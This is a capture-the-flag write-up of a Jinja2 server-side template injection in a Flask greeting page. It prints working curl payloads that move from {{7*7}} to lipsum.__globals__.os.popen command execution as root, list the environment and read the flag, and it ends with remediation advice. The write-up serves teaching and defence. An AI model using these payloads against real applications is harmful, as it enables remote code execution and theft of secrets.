Second Look: Web
What the challenge was
A fan-club greeting page with a single message field. Submitted text was returned inside an <h2> on the same page. The hint stated that nothing looked wrong at first and that things would reveal themselves on the way back, which suggested the output deserved closer inspection.
Initial recon
A normal word was submitted and observed reflecting:
ffcurl -s -X POST -d 'message=hello' http://54.72.82.22:8020 | tail -n 5<h2>hello</h2>Direct reflection on a Python server makes template injection worth testing. The standard marker was used:
ffcurl -s -X POST -d 'message={{7*7}}' http://54.72.82.22:8020 | tail -n 5<h2>49</h2>The expression evaluated, so the message was rendered as a Jinja2 template.
The path
The engine was confirmed by dumping objects known to be exposed by Jinja2:
ffcurl -s -X POST --data-urlencode 'message={{config}}' http://54.72.82.22:8020 | tail -n 5That returned the Flask config. A path to the operating system followed:
ffcurl -s -X POST --data-urlencode 'message={{lipsum.__globals__}}' http://54.72.82.22:8020 | tail -n 5The output included 'os': <module 'os' (frozen)>, so lipsum exposed the os module. The first command execution attempt appeared empty through a one-line filter, but the raw response was not empty:
ffcurl -s -X POST --data-urlencode 'message={{lipsum.__globals__.os.popen("id").read()}}' http://54.72.82.22:8020 | tail -n 10<h2>uid=0(root) gid=0(root) groups=0(root)
</h2>Remote execution succeeded as root. The working directory and environment were then listed:
ffcurl -s -X POST --data-urlencode 'message={{lipsum.__globals__.os.popen("ls -la;pwd").read()}}' http://54.72.82.22:8020 | tail -n 10-rw-r--r-- 1 root root 41 Sep 28 20:45 flag
-rw-r--r-- 1 root root 5449 Sep 30 12:49 ssti1.py
/appffcurl -s -X POST --data-urlencode 'message={{lipsum.__globals__.os.popen("ls -la /;env|sort").read()}}' http://54.72.82.22:8020 | tail -n 30FLAG=safctf{ac4c0d4a503d4ef281530c5ca9dc8fa4}
PWD=/appThe exploit
Execution through the exposed os module reads the flag file:
ffcurl -s -X POST --data-urlencode 'message={{lipsum.__globals__.os.popen("cat flag;cat /app/flag").read()}}' http://54.72.82.22:8020 | tail -n 10Response:
<h2>safctf{ac4c0d4a503d4ef281530c5ca9dc8fa4}
safctf{ac4c0d4a503d4ef281530c5ca9dc8fa4}
</h2>The payload {{lipsum.__globals__.os.popen("cat flag").read()}} closes the loop: user input became template code, template code became a subprocess, and the subprocess returned the flag.
The flag
safctf{ac4c0d4a503d4ef281530c5ca9dc8fa4}Notes on method
A working payload nearly went unnoticed because a single-line filter hid a multi-line result. Reading the raw tail instead of a narrowed match showed the uid=0 output immediately. Checking raw output first whenever an SSTI probe returns an empty element is the reliable habit. The fix is to never render user input as a template, to enable autoescaping, and to run the application as an unprivileged user with secrets outside the working directory.
